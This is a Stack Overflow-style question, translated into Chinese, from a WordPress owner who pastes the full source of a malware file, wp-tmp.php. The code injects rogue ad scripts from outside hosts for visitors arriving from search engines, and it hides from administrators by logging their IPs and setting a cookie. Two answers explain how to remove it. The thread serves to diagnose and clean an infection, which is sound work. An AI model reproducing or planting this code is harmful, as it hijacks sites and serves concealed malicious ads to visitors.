【问题标题】：What can do Virus wp-tmp.php on WordPressWordPress 上的病毒 wp-tmp.php 可以做什么
【发布时间】：2018-10-19 17:55:20
【问题描述】：

我在我的 WordPress 上的 wp-includes/ 文件上发现了这种病毒，该病毒已被 siteguarding.com 和其他文件扫描，并发现了错误的脚本广告

此内容文件“wp-tmp.php”：

ini_set('display_errors', 0);
error_reporting(0);
$anx='a107e0b262722f0cea3f7ce097597b7c';
if ( ! function_exists( 'slider_option' ) ) {  


function slider_option($content){ 
if(is_single())
{




$con = '
';

$con2 = '

<script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1412000"></script>

<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1412002&interactive=1&pushup=1"></script>

';

$content=$content.$con2;
}
return $content;
} 

function slider_option_footer(){ 
if(!is_single())
{




$con2 = '

<script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1412000"></script>

<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1412002&interactive=1&pushup=1"></script>

';

echo $con2;
}
} 








function setting_my_first_cookie() {
  setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  }


if(is_user_logged_in())
{
add_action( 'init', 'setting_my_first_cookie',1 );
}







if( current_user_can('edit_others_pages'))
{

if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
{
$ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
}

if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
{
$ip.=$_SERVER['REMOTE_ADDR'].'
';
@file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);


}



}






$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}






if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) 
{
$adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
{
if($sevisitor==true || isset($_COOKIE['sevisitor']))
{
add_filter('the_content','slider_option');
add_action('wp_footer','slider_option_footer');
}

}

} 





}

这个文件在做什么？以及如何知道该文件已插入我的网站文件根目录？我与 siteguarding.com 支持聊天并告诉我“您的网站被黑了” wp-includes/wp-tmp.php - 100% 病毒 up/includes/functions.php - 100% 病毒你在黑名单里

【问题讨论】：

检测到的问题在 URL 中发现恶意软件：sudan4tech.com/404javascript.js [rogueads.unwanted_ads?1]
在 URL 中发现恶意软件：sudan4tech.com/category/… [rogueads.unwanted_ads?1]
在 URL 中发现恶意软件：sudan4tech.com/privacy-policy [rogueads.unwanted_ads?1]
在 URL 中发现恶意软件（针对 Google 的 UA）：sudan4tech.com [rogueads.unwanted_ads?1]
您可能会使用无效或免费的主题和插件。这些文件包含一些 pho 脚本来显示令人作呕的重定向广告。我在这里找到了如何解决这个问题的完整细节wikilogy.com/…我希望所有遇到这个问题的人都能轻松解决。

标签： javascript php wordpress

【解决方案1】：

此文件使用您的 IO，有时会导致 404、500 和数据库连接问题。

此文件使用您的主题 funtions.php 来注入代码（恶意软件）。

这个文件注入的代码从functions.php的第1行开始，并以一些cmets结束，比如//themes tmp。

解决方法是先从/wp-includes中删除wp-tmp.php和wp-vcd.php，同时删除来自functions.php的代码并将functions.php权限设置为0555或0444用于父主题和子主题。这样这个恶意软件就无法写入functions.php

【讨论】：

【解决方案2】：

它是恶意软件，这个文件绝对不是 WP 的一部分。删除文件，编辑文件夹权限，在文件中搜索其他恶意代码。更新 WP 和你的插件。

【讨论】：